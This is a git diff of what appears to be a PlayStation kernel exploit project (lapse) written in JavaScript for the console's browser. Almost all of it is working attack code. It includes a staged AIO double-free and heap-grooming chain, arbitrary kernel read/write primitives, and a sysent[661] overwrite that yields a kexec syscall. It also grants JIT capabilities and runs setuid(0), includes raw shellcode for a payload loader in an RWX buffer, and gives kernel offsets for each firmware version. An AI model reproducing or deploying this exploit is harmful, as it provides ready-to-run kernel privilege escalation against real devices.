this.worker_sd; - const addr_buf = this.addr_buf; - const data_buf = this.data_buf; - - addr_buf.write64(0, this.pipe_addr); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - data_buf.write64(0, 0); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); - - addr_buf.write64(0, this.pipe_addr2); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - addr_buf.write64(0, dst); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - sysi('write', this.wpipe, src, len); - } - - copyout(src, dst, len) { - this._verify_len(len); - const main = this.main_sd; - const worker = this.worker_sd; - const addr_buf = this.addr_buf; - const data_buf = this.data_buf; - - addr_buf.write64(0, this.pipe_addr); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - data_buf.write32(0, 0x40000000); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); - - addr_buf.write64(0, this.pipe_addr2); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - addr_buf.write64(0, src); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - sysi('read', this.rpipe, dst, len); - } - - _read(addr) { - const buf = this.rw_buf; - buf.write64(0, addr); - buf.fill(0, 8); - ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); - gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); - } - - read32(addr) { - this._read(addr); - return this.rw_buf.read32(0); - } - - read64(addr) { - this._read(addr); - return this.rw_buf.read64(0); - } - - write32(addr, value) { - this.rw_buf.write32(0, value); - this.copyin(this.rw_buf.addr, addr, 4); - } - - write64(addr, value) { - this.rw_buf.write64(0, value); - this.copyin(this.rw_buf.addr, addr, 8); - } + read64(addr) { + this._read(addr); + return this.rw_buf.read64(0); } - const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe); - const kstr3_buf = new Buffer(8); - kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size); - const kstr3 = jstr(kstr3_buf); - log(`*(&"evf cv"): ${kstr3}`); - if (kstr3 !== 'evf cv') { - die('pipe read failed'); + write32(addr, value) { + this.rw_buf.write32(0, value); + this.copyin(this.rw_buf.addr, addr, 4); } - log('achieved arbitrary kernel read/write'); - // RESTORE: clean corrupt pointers - // pktopts.ip6po_rthdr = NULL - const off_ip6po_rthdr = 0x68; - const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr); - log(`reclaim rthdr: ${kmem.read64(r_rthdr_p)}`); - kmem.write64(r_rthdr_p, 0); - log(`reclaim rthdr: ${kmem.read64(r_rthdr_p)}`); + write64(addr, value) { + this.rw_buf.write64(0, value); + this.copyin(this.rw_buf.addr, addr, 8); + } + } + const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe); - const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr); - log(`reclaim rthdr: ${kmem.read64(w_rthdr_p)}`); - log(kmem.read64(w_rthdr_p)); - log(`reclaim rthdr: ${kmem.read64(w_rthdr_p)}`); + const kstr3_buf = new Buffer(8); + kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size); + const kstr3 = jstr(kstr3_buf); + log(`*(&"evf cv"): ${kstr3}`); + if (kstr3 !== "evf cv") { + die("pipe read failed"); + } + log("achieved arbitrary kernel read/write"); - log('corrupt pointers cleaned'); + // RESTORE: clean corrupt pointers + // pktopts.ip6po_rthdr = NULL + const off_ip6po_rthdr = is_ps4 ? 0x68 : 0x70; + const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr); + const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr); + kmem.write64(r_rthdr_p, 0); + kmem.write64(w_rthdr_p, 0); + log("corrupt pointers cleaned"); - /* + /* // REMOVE once restore kernel is ready for production // increase the ref counts to prevent deallocation kmem.write32(main_sock, kmem.read32(main_sock) + 1); @@ -1505,163 +1457,140 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2); */ - return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]]; + return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]]; } // FUNCTIONS FOR STAGE: PATCH KERNEL async function get_binary(url) { - const response = await fetch(url); - if (!response.ok) { - throw Error( - `Network response was not OK, status: ${response.status}\n` - + `failed to fetch: ${url}`); - } - return response.arrayBuffer(); + const response = await fetch(url); + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}\nfailed to fetch: ${url}`); + } + return response.arrayBuffer(); } async function patch_kernel(kbase, kmem, p_ucred, restore_info) { - if (!is_ps4) { - throw RangeError('ps5 kernel patching unsupported'); - } - if (!(0x800 <= version && version < 0x1000)) { // 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60 - throw RangeError('kernel patching unsupported'); - } + if (!is_ps4) { + throw RangeError("ps5 kernel patching unsupported"); + } + if (!(0x800 <= version && version < 0x1000)) { + // 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60 + throw RangeError("kernel patching unsupported"); + } - log('change sys_aio_submit() to sys_kexec()'); - // sysent[661] is unimplemented so free for use - const sysent_661 = kbase.add(off_sysent_661); - // .sy_narg = 6 - kmem.write32(sysent_661, 6); - // .sy_call = gadgets['jmp qword ptr [rsi]'] - kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi)); - // .sy_thrcnt = SY_THR_STATIC - kmem.write32(sysent_661.add(0x2c), 1); + log("change sys_aio_submit() to sys_kexec()"); + // sysent[661] is unimplemented so free for use + const sysent_661 = kbase.add(off_sysent_661); + const sy_narg = kmem.read32(sysent_661); + const sy_call = kmem.read64(sysent_661.add(8)); + const sy_thrcnt = kmem.read32(sysent_661.add(0x2c)); + // .sy_narg = 6 + kmem.write32(sysent_661, 6); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi)); + // .sy_thrcnt = SY_THR_STATIC + kmem.write32(sysent_661.add(0x2c), 1); - log('add JIT capabilities'); - // TODO: Just set the bits for JIT privs - // cr_sceCaps[0] - kmem.write64(p_ucred.add(0x60), -1); - // cr_sceCaps[1] - kmem.write64(p_ucred.add(0x68), -1); + log("add JIT capabilities"); + // TODO: Just set the bits for JIT privs + // cr_sceCaps[0] + kmem.write64(p_ucred.add(0x60), -1); + // cr_sceCaps[1] + kmem.write64(p_ucred.add(0x68), -1); - const buf = await get_binary(patch_elf_loc); - const patches = new View1(await buf); - let map_size = patches.size; - const max_size = 0x10000000; - if (map_size > max_size) { - die(`patch file too large (>${max_size}): ${map_size}`); - } - if (map_size === 0) { - die('patch file size is zero'); - } - log(`kpatch size: ${map_size} bytes`); - map_size = map_size+page_size & -page_size; + const buf = await get_binary(patch_elf_loc); + const patches = new View1(await buf); + let map_size = patches.size; + const max_size = 0x10000000; + if (map_size > max_size) { + die(`patch file too large (>${max_size}): ${map_size}`); + } + if (map_size === 0) { + die("patch file size is zero"); + } + log(`kpatch size: ${map_size} bytes`); + map_size = (map_size + page_size) & -page_size; - const prot_rwx = 7; - const prot_rx = 5; - const prot_rw = 3; - const exec_p = new Int(0, 9); - const write_p = new Int(max_size, 9); - const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx); - const write_fd = sysi('jitshm_alias', exec_fd, prot_rw); + const prot_rw = 3; + const prot_rx = 5; + const prot_rwx = 7; + const exec_p = new Int(0, 9); + const write_p = new Int(max_size, 9); + const exec_fd = sysi("jitshm_create", 0, map_size, prot_rwx); + const write_fd = sysi("jitshm_alias", exec_fd, prot_rw); - const exec_addr = chain.sysp( - 'mmap', - exec_p, - map_size, - prot_rx, - MAP_SHARED|MAP_FIXED, - exec_fd, - 0, - ); - const write_addr = chain.sysp( - 'mmap', - write_p, - map_size, - prot_rw, - MAP_SHARED|MAP_FIXED, - write_fd, - 0, - ); + const exec_addr = chain.sysp("mmap", exec_p, map_size, prot_rx, MAP_SHARED | MAP_FIXED, exec_fd, 0); + const write_addr = chain.sysp("mmap", write_p, map_size, prot_rw, MAP_SHARED | MAP_FIXED, write_fd, 0); - log(`exec_addr: ${exec_addr}`); - log(`write_addr: ${write_addr}`); - if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) { - die('mmap() for jit failed'); - } + log(`exec_addr: ${exec_addr}`); + log(`write_addr: ${write_addr}`); + if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) { + die("mmap() for jit failed"); + } - log('mlock exec_addr for kernel exec'); - sysi('mlock', exec_addr, map_size); + log("mlock exec_addr for kernel exec"); + sysi("mlock", exec_addr, map_size); - // mov eax, 0x1337; ret (0xc300_0013_37b8) - const test_code = new Int(0x001337b8, 0xc300); - write_addr.write64(0, test_code); + // mov eax, 0x1337; ret (0xc300_0013_37b8) + const test_code = new Int(0x001337b8, 0xc300); + write_addr.write64(0, test_code); - log('test jit exec'); - sys_void('kexec', exec_addr); - let retval = chain.errno; - log('returned successfully'); + log("test jit exec"); + sys_void("kexec", exec_addr); + let retval = chain.errno; + log("returned successfully"); - log(`jit retval: ${retval}`); - if (retval !== 0x1337) { - die('test jit exec failed'); - } + log(`jit retval: ${retval}`); + if (retval !== 0x1337) { + die("test jit exec failed"); + } - const pipe_save = restore_info[1]; - restore_info[1] = pipe_save.addr; - log('mlock pipe save data for kernel restore'); - sysi('mlock', restore_info[1], page_size); + const pipe_save = restore_info[1]; + restore_info[1] = pipe_save.addr; + log("mlock pipe save data for kernel restore"); + sysi("mlock", restore_info[1], page_size); - mem.cpy(write_addr, patches.addr, patches.size); - sys_void('kexec', exec_addr, ...restore_info); + mem.cpy(write_addr, patches.addr, patches.size); + sys_void("kexec", exec_addr, ...restore_info); - log('setuid(0)'); - sysi('setuid', 0); - log('kernel exploit succeeded!'); + log("setuid(0)"); + sysi("setuid", 0); + log("kernel exploit succeeded!"); + + kmem.write32(sysent_661, sy_narg); + kmem.write64(sysent_661.add(8), sy_call); + kmem.write32(sysent_661.add(0x2c), sy_thrcnt); + log("restored dsys_aio_submit()"); } // FUNCTIONS FOR STAGE: SETUP function setup(block_fd) { - // this part will block the worker threads from processing entries so that - // we may cancel them instead. this is to work around the fact that - // aio_worker_entry2() will fdrop() the file associated with the aio_entry - // on ps5. we want aio_multi_delete() to call fdrop() - log('block AIO'); - const reqs1 = new Buffer(0x28 * num_workers); - const block_id = new Word(); + // this part will block the worker threads from processing entries so that + // we may cancel them instead. this is to work around the fact that + // aio_worker_entry2() will fdrop() the file associated with the aio_entry + // on ps5. we want aio_multi_delete() to call fdrop() + log("block AIO"); + const reqs1 = new Buffer(0x28 * num_workers); + const block_id = new Word(); - for (let i = 0; i < num_workers; i++) { - reqs1.write32(8 + i*0x28, 1); - reqs1.write32(0x20 + i*0x28, block_fd); - } - aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr); + for (let i = 0; i < num_workers; i++) { + reqs1.write32(8 + i * 0x28, 1); + reqs1.write32(0x20 + i * 0x28, block_fd); + } + aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr); - { - const reqs1 = make_reqs1(1); - const timo = new Word(1); - const id = new Word(); - aio_submit_cmd(AIO_CMD_READ, reqs1.addr, 1, id.addr); - chain.do_syscall_clear_errno( - 'aio_multi_wait', id.addr, 1, _aio_errors_p, 1, timo.addr); - const err = chain.errno; - if (err !== 60) { // ETIMEDOUT - die(`SceAIO system not blocked. errno: ${err}`); - } - free_aios(id.addr, 1); - } - - log('heap grooming'); - // chosen to maximize the number of 0x80 malloc allocs per submission - const num_reqs = 3; - const groom_ids = new View4(num_grooms); - const groom_ids_p = groom_ids.addr; - const greqs = make_reqs1(num_reqs); - // allocate enough so that we start allocating from a newly created slab - spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); - cancel_aios(groom_ids_p, num_grooms); - return [block_id, groom_ids]; + log("heap grooming"); + // chosen to maximize the number of 0x80 malloc allocs per submission + const num_reqs = 3; + const groom_ids = new View4(num_grooms); + const groom_ids_p = groom_ids.addr; + const greqs = make_reqs1(num_reqs); + // allocate enough so that we start allocating from a newly created slab + spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); + cancel_aios(groom_ids_p, num_grooms); + return [block_id, groom_ids]; } // overview: @@ -1676,81 +1605,198 @@ function setup(block_fd) { // // the exploit implementation also assumes that we are pinned to one core export async function kexploit() { - const _init_t1 = performance.now(); - await init(); - const _init_t2 = performance.now(); - - // fun fact: - // if the first thing you do since boot is run the web browser, WebKit can - // use all the cores - const main_mask = new Long(); - get_our_affinity(main_mask); - log(`main_mask: ${main_mask}`); - - // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap - // spraying and grooming easier - log(`pinning process to core #${main_core}`); - set_our_affinity(new Long(1 << main_core)); - get_our_affinity(main_mask); - log(`main_mask: ${main_mask}`); - - log('setting main thread\'s priority'); - sysi('rtprio_thread', RTP_SET, 0, rtprio.addr); - - const [block_fd, unblock_fd] = (() => { - const unix_pair = new View4(2); - sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr); - return unix_pair; - })(); - - const sds = []; - for (let i = 0; i < num_sds; i++) { - sds.push(new_socket()); + // If setuid is successful, we dont need to run the kernel exploit again + try { + if (sysi("setuid", 0) == 0) { + log("Kernel already patched, skipping kexploit"); + return true; } + } catch { + // Expected when not in an exploited state + } - let block_id = null; - let groom_ids = null; - try { - log('STAGE: Setup'); - [block_id, groom_ids] = setup(block_fd); + const _init_t1 = performance.now(); + await init(); + const _init_t2 = performance.now(); - log('\nSTAGE: Double free AIO queue entry'); - const sd_pair = double_free_reqs2(sds); + // fun fact: + // if the first thing you do since boot is run the web browser, WebKit can + // use all the cores + const main_mask = new Long(); + get_our_affinity(main_mask); + log(`main_mask: ${main_mask}`); - log('\nSTAGE: Leak kernel addresses'); - const [ - reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, - ] = leak_kernel_addrs(sd_pair); + // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap + // spraying and grooming easier + log(`pinning process to core #${main_core}`); + set_our_affinity(new Long(1 << main_core)); + get_our_affinity(main_mask); + log(`main_mask: ${main_mask}`); - log('\nSTAGE: Double free SceKernelAioRWRequest'); - const [pktopts_sds, dirty_sd] = double_free_reqs1( - reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds, - ); + log("setting main thread's priority"); + sysi("rtprio_thread", RTP_SET, 0, rtprio.addr); - log('\nSTAGE: Get arbitrary kernel read/write'); - const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw( - pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds); + const [block_fd, unblock_fd] = (() => { + const unix_pair = new View4(2); + sysi("socketpair", AF_UNIX, SOCK_STREAM, 0, unix_pair.addr); + return unix_pair; + })(); - log('\nSTAGE: Patch kernel'); - await patch_kernel(kbase, kmem, p_ucred, restore_info); - } finally { - close(unblock_fd); + const sds = []; + for (let i = 0; i < num_sds; i++) { + sds.push(new_socket()); + } - const t2 = performance.now(); - const ftime = t2 - t1; - const init_time = _init_t2 - _init_t1; - log('\ntime (include init): ' + (ftime) / 1000); - log('kex time: ' + (t2 - _init_t2) / 1000); - log('init time: ' + (init_time) / 1000); - log('time to init: ' + (_init_t1 - t1) / 1000); - log('time - init time: ' + (ftime - init_time) / 1000); - } - close(block_fd); - free_aios2(groom_ids.addr, groom_ids.length); - aio_multi_wait(block_id.addr, 1); - aio_multi_delete(block_id.addr, block_id.length); - for (const sd of sds) { - close(sd); + let block_id = null; + let groom_ids = null; + try { + log("STAGE: Setup"); + [block_id, groom_ids] = setup(block_fd); + + log("\nSTAGE: Double free AIO queue entry"); + const sd_pair = double_free_reqs2(sds); + + log("\nSTAGE: Leak kernel addresses"); + const [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf] = leak_kernel_addrs(sd_pair); + + log("\nSTAGE: Double free SceKernelAioRWRequest"); + const [pktopts_sds, dirty_sd] = double_free_reqs1(reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds); + + log("\nSTAGE: Get arbitrary kernel read/write"); + const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds); + + log("\nSTAGE: Patch kernel"); + await patch_kernel(kbase, kmem, p_ucred, restore_info); + } finally { + close(unblock_fd); + + const t2 = performance.now(); + const ftime = t2 - t1; + const init_time = _init_t2 - _init_t1; + log(`\ntime (include init): ${ftime / 1000}`); + log(`kex time: ${(t2 - _init_t2) / 1000}`); + log(`init time: ${init_time / 1000}`); + log(`time to init: ${(_init_t1 - t1) / 1000}`); + log(`time - init time: ${(ftime - init_time) / 1000}`); + } + close(block_fd); + free_aios2(groom_ids.addr, groom_ids.length); + aio_multi_wait(block_id.addr, 1); + aio_multi_delete(block_id.addr, block_id.length); + for (const sd of sds) { + close(sd); + } + + // Check if it all worked + try { + if (sysi("setuid", 0) == 0) { + return true; } + } catch { + // Still not exploited, something failed, but it made it here... + } + + return false; } -kexploit(); + +// ChendoChap's from pOOBs4 +function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = backing; + return ptr; +} + +// ChendoChap's from pOOBs4 +function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; +} + +// ChendoChap's from pOOBs4 +function runBinLoader() { + let payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0); + let payload_loader = malloc32(0x1000); + let loader_writer = payload_loader.backing; + loader_writer[0] = 0x56415741; + loader_writer[1] = 0x83485541; + loader_writer[2] = 0x894818ec; + loader_writer[3] = 0xc748243c; + loader_writer[4] = 0x10082444; + loader_writer[5] = 0x483c2302; + loader_writer[6] = 0x102444c7; + loader_writer[7] = 0x00000000; + loader_writer[8] = 0x000002bf; + loader_writer[9] = 0x0001be00; + loader_writer[10] = 0xd2310000; + loader_writer[11] = 0x00009ce8; + loader_writer[12] = 0xc7894100; + loader_writer[13] = 0x8d48c789; + loader_writer[14] = 0xba082474; + loader_writer[15] = 0x00000010; + loader_writer[16] = 0x000095e8; + loader_writer[17] = 0xff894400; + loader_writer[18] = 0x000001be; + loader_writer[19] = 0x0095e800; + loader_writer[20] = 0x89440000; + loader_writer[21] = 0x31f631ff; + loader_writer[22] = 0x0062e8d2; + loader_writer[23] = 0x89410000; + loader_writer[24] = 0x2c8b4cc6; + loader_writer[25] = 0x45c64124; + loader_writer[26] = 0x05ebc300; + loader_writer[27] = 0x01499848; + loader_writer[28] = 0xf78944c5; + loader_writer[29] = 0xbaee894c; + loader_writer[30] = 0x00001000; + loader_writer[31] = 0x000025e8; + loader_writer[32] = 0x7fc08500; + loader_writer[33] = 0xff8944e7; + loader_writer[34] = 0x000026e8; + loader_writer[35] = 0xf7894400; + loader_writer[36] = 0x00001ee8; + loader_writer[37] = 0x2414ff00; + loader_writer[38] = 0x18c48348; + loader_writer[39] = 0x5e415d41; + loader_writer[40] = 0x31485f41; + loader_writer[41] = 0xc748c3c0; + loader_writer[42] = 0x000003c0; + loader_writer[43] = 0xca894900; + loader_writer[44] = 0x48c3050f; + loader_writer[45] = 0x0006c0c7; + loader_writer[46] = 0x89490000; + loader_writer[47] = 0xc3050fca; + loader_writer[48] = 0x1ec0c748; + loader_writer[49] = 0x49000000; + loader_writer[50] = 0x050fca89; + loader_writer[51] = 0xc0c748c3; + loader_writer[52] = 0x00000061; + loader_writer[53] = 0x0fca8949; + loader_writer[54] = 0xc748c305; + loader_writer[55] = 0x000068c0; + loader_writer[56] = 0xca894900; + loader_writer[57] = 0x48c3050f; + loader_writer[58] = 0x006ac0c7; + loader_writer[59] = 0x89490000; + loader_writer[60] = 0xc3050fca; + + chain.sys("mprotect", payload_loader, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC); + let pthread = malloc(0x10); + + { + sysi("mlock", payload_buffer, 0x300000); + call_nze("pthread_create", pthread, 0x0, payload_loader, payload_buffer); + } + + log("Awaiting payload..."); +} + +kexploit().then((success) => { + if (success) { + runBinLoader(); + } +}); diff --git a/src/lapse/ps4/800.mjs b/src/lapse/ps4/800.mjs index 236617a..b29d107 100644 --- a/src/lapse/ps4/800.mjs +++ b/src/lapse/ps4/800.mjs @@ -17,14 +17,16 @@ along with this program. If not, see . */ // 8.00, 8.01, 8.03 -export const pthread_offsets = new Map(Object.entries({ - 'pthread_create' : 0x25610, - 'pthread_join' : 0x27c60, - 'pthread_barrier_init' : 0xa0e0, - 'pthread_barrier_wait' : 0x1ee00, - 'pthread_barrier_destroy' : 0xe180, - 'pthread_exit' : 0x19eb0, -})); +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0x25610, + pthread_join: 0x27c60, + pthread_barrier_init: 0xa0e0, + pthread_barrier_wait: 0x1ee00, + pthread_barrier_destroy: 0xe180, + pthread_exit: 0x19eb0, + }), +); export const off_kstr = 0x7edcff; export const off_cpuid_to_pcpu = 0x228e6b0; @@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x228e6b0; export const off_sysent_661 = 0x11040c0; export const jmp_rsi = 0xe629c; -export const patch_elf_loc = './kpatch/800.bin'; // Relative to `../../lapse.mjs` +export const patch_elf_loc = "./kpatch/800.bin"; // Relative to `../../lapse.mjs` diff --git a/src/lapse/ps4/850.mjs b/src/lapse/ps4/850.mjs index 7da9a5f..f7d2475 100644 --- a/src/lapse/ps4/850.mjs +++ b/src/lapse/ps4/850.mjs @@ -17,14 +17,16 @@ along with this program. If not, see . */ // 8.50 -export const pthread_offsets = new Map(Object.entries({ - 'pthread_create' : 0xebb0, - 'pthread_join' : 0x29d50, - 'pthread_barrier_init' : 0x283c0, - 'pthread_barrier_wait' : 0xb8c0, - 'pthread_barrier_destroy' : 0x9c10, - 'pthread_exit' : 0x25310, -})); +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0xebb0, + pthread_join: 0x29d50, + pthread_barrier_init: 0x283c0, + pthread_barrier_wait: 0xb8c0, + pthread_barrier_destroy: 0x9c10, + pthread_exit: 0x25310, + }), +); export const off_kstr = 0x7da91c; export const off_cpuid_to_pcpu = 0x1cfc240; @@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240; export const off_sysent_661 = 0x11041b0; export const jmp_rsi = 0xc810d; -export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs` +export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs` diff --git a/src/lapse/ps4/852.mjs b/src/lapse/ps4/852.mjs index 958c8c9..25f65cd 100644 --- a/src/lapse/ps4/852.mjs +++ b/src/lapse/ps4/852.mjs @@ -17,14 +17,16 @@ along with this program. If not, see . */ // 8.52 -export const pthread_offsets = new Map(Object.entries({ - 'pthread_create' : 0xebb0, - 'pthread_join' : 0x29d60, - 'pthread_barrier_init' : 0x283d0, - 'pthread_barrier_wait' : 0xb8c0, - 'pthread_barrier_destroy' : 0x9c10, - 'pthread_exit' : 0x25320, -})); +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0xebb0, + pthread_join: 0x29d60, + pthread_barrier_init: 0x283d0, + pthread_barrier_wait: 0xb8c0, + pthread_barrier_destroy: 0x9c10, + pthread_exit: 0x25320, + }), +); export const off_kstr = 0x7da91c; export const off_cpuid_to_pcpu = 0x1cfc240; @@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240; export const off_sysent_661 = 0x11041b0; export const jmp_rsi = 0xc810d; -export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs` +export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs` diff --git a/src/lapse/ps4/900.mjs b/src/lapse/ps4/900.mjs index 9e15290..407dc9d 100644 --- a/src/lapse/ps4/900.mjs +++ b/src/lapse/ps4/900.mjs @@ -17,14 +17,16 @@ along with this program. If not, see . */ // 9.00 -export const pthread_offsets = new Map(Object.entries({ - 'pthread_create' : 0x25510, - 'pthread_join' : 0xafa0, - 'pthread_barrier_init' : 0x273d0, - 'pthread_barrier_wait' : 0xa320, - 'pthread_barrier_destroy' : 0xfea0, - 'pthread_exit' : 0x77a0, -})); +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0x25510, + pthread_join: 0xafa0, + pthread_barrier_init: 0x273d0, + pthread_barrier_wait: 0xa320, + pthread_barrier_destroy: 0xfea0, + pthread_exit: 0x77a0, + }), +); export const off_kstr = 0x7f6f27; export const off_cpuid_to_pcpu = 0x21ef2a0; @@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21ef2a0; export const off_sysent_661 = 0x1107f00; export const jmp_rsi = 0x4c7ad; -export const patch_elf_loc = './kpatch/900.bin'; // Relative to `../../lapse.mjs` +export const patch_elf_loc = "./kpatch/900.bin"; // Relative to `../../lapse.mjs` diff --git a/src/lapse/ps4/903.mjs b/src/lapse/ps4/903.mjs index f6f37a2..fb1179d 100644 --- a/src/lapse/ps4/903.mjs +++ b/src/lapse/ps4/903.mjs @@ -17,14 +17,16 @@ along with this program. If not, see . */ // 9.03, 9.04 -export const pthread_offsets = new Map(Object.entries({ - 'pthread_create' : 0x25510, - 'pthread_join' : 0xafa0, - 'pthread_barrier_init' : 0x273d0, - 'pthread_barrier_wait' : 0xa320, - 'pthread_barrier_destroy' : 0xfea0, - 'pthread_exit' : 0x77a0, -})); +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0x25510, + pthread_join: 0xafa0, + pthread_barrier_init: 0x273d0, + pthread_barrier_wait: 0xa320, + pthread_barrier_destroy: 0xfea0, + pthread_exit: 0x77a0, + }), +); export const off_kstr = 0x7f4ce7; export const off_cpuid_to_pcpu = 0x21eb2a0; @@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21eb2a0; export const off_sysent_661 = 0x1103f00; export const jmp_rsi = 0x5325b; -export const patch_elf_loc = './kpatch/903.bin'; // Relative to `../../lapse.mjs` +export const patch_elf_loc = "./kpatch/903.bin"; // Relative to `../../lapse.mjs` diff --git a/src/lapse/ps4/950.mjs b/src/lapse/ps4/950.mjs index 5d7a45c..085d74e 100644 --- a/src/lapse/ps4/950.mjs +++ b/src/lapse/ps4/950.mjs @@ -17,14 +17,16 @@ along with this program. If not, see . */ // 9.50, 9.51, 9.60 -export const pthread_offsets = new Map(Object.entries({ - 'pthread_create' : 0x1c540, - 'pthread_join' : 0x9560, - 'pthread_barrier_init' : 0x24200, - 'pthread_barrier_wait' : 0x1efb0, - 'pthread_barrier_destroy' : 0x19450, - 'pthread_exit' : 0x28ca0, -})); +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0x1c540, + pthread_join: 0x9560, + pthread_barrier_init: 0x24200, + pthread_barrier_wait: 0x1efb0, + pthread_barrier_destroy: 0x19450, + pthread_exit: 0x28ca0, + }), +); export const off_kstr = 0x769a88; export const off_cpuid_to_pcpu = 0x21a66c0; @@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21a66c0; export const off_sysent_661 = 0x1100ee0; export const jmp_rsi = 0x15a6d; -export const patch_elf_loc = './kpatch/950.bin'; // Relative to `../../lapse.mjs` +export const patch_elf_loc = "./kpatch/950.bin"; // Relative to `../../lapse.mjs` diff --git a/src/module/chain.mjs b/src/module/chain.mjs index 13d33ba..9df0160 100644 --- a/src/module/chain.mjs +++ b/src/module/chain.mjs @@ -15,90 +15,85 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -import { Int, lohi_from_one } from './int64.mjs'; -import { get_view_vector } from './memtools.mjs'; -import { Addr } from './mem.mjs'; +import { Int, lohi_from_one } from "./int64.mjs"; +import { get_view_vector } from "./memtools.mjs"; +import { Addr } from "./mem.mjs"; -import * as config from '../config.mjs'; +import * as config from "../config.mjs"; // put the sycall names that you want to use here -export const syscall_map = new Map(Object.entries({ - 'read' : 3, - 'write' : 4, - 'open' : 5, - 'close' : 6, - 'getpid' : 20, - 'setuid' : 23, - 'getuid' : 24, - 'accept' : 30, - 'pipe' : 42, - 'ioctl' : 54, - 'munmap' : 73, - 'mprotect' : 74, - 'fcntl' : 92, - 'socket' : 97, - 'connect' : 98, - 'bind' : 104, - 'setsockopt' : 105, - 'listen' : 106, - 'getsockopt' : 118, - 'fchmod' : 124, - 'socketpair' : 135, - 'fstat' : 189, - 'getdirentries' : 196, - '__sysctl' : 202, - 'mlock' : 203, - 'clock_gettime' : 232, - 'nanosleep' : 240, - 'sched_yield' : 331, - 'kqueue' : 362, - 'kevent' : 363, - 'rtprio_thread' : 466, - 'mmap' : 477, - 'ftruncate' : 480, - 'shm_open' : 482, - 'cpuset_getaffinity' : 487, - 'cpuset_setaffinity' : 488, - 'jitshm_create' : 533, - 'jitshm_alias' : 534, - 'evf_create' : 538, - 'evf_delete' : 539, - 'evf_set' : 544, - 'evf_clear' : 545, - 'set_vm_container' : 559, - 'dmem_container' : 586, - 'dynlib_dlsym' : 591, - 'dynlib_get_list' : 592, - 'dynlib_get_info' : 593, - 'dynlib_load_prx' : 594, - 'randomized_path' : 602, - 'budget_get_ptype' : 610, - 'thr_suspend_ucontext' : 632, - 'thr_resume_ucontext' : 633, - 'blockpool_open' : 653, - 'blockpool_map' : 654, - 'blockpool_unmap' : 655, - 